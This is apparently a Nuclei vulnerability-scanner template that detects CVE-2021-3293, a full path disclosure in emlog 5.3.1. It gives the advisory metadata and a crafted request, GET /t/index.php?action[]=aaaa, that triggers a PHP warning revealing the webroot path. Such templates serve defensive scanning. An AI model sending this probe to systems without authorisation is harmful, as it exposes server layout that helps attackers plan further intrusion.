id: CVE-2021-3293

info:
  name: emlog 5.3.1 Path Disclosure
  author: h1ei1
  severity: medium
  description: emlog v5.3.1 is susceptible to full path disclosure via t/index.php, which allows an attacker to see the path to the webroot/file.
  impact: |
    An attacker can gain knowledge of the server's file system structure, potentially leading to further attacks.
  remediation: |
    Apply the latest patch or upgrade to a version that fixes the vulnerability.
  reference:
    - https://github.com/emlog/emlog/issues/62
    - https://github.com/thinkgad/Bugs/blob/main/emlog%20v5.3.1%20has%20Full%20Path%20Disclosure%20vulnerability.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3293
    - https://github.com/Z0fhack/Goby_POC
    - https://github.com/20142995/Goby
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-3293
    cwe-id: CWE-22
    epss-score: 0.39366
    epss-percentile: 0.97070
    cpe: cpe:2.3:a:emlog:emlog:5.3.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: emlog
    product: emlog
  tags: cve2021,cve,emlog,fpd

http:
  - raw:
      - |
        GET /t/index.php?action[]=aaaa HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<b>Warning</b>"
          - "on line"
          - "expects parameter"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402207a07b5639f38175b8fea6b3cf847af32a65dc60b4ca34060f5f82b2471be640a022017c001a2c4d14cc59953ce33efb2412df393168dd767e68ff535332f70ddafff:922c64590222798bb761d5b6d8e72950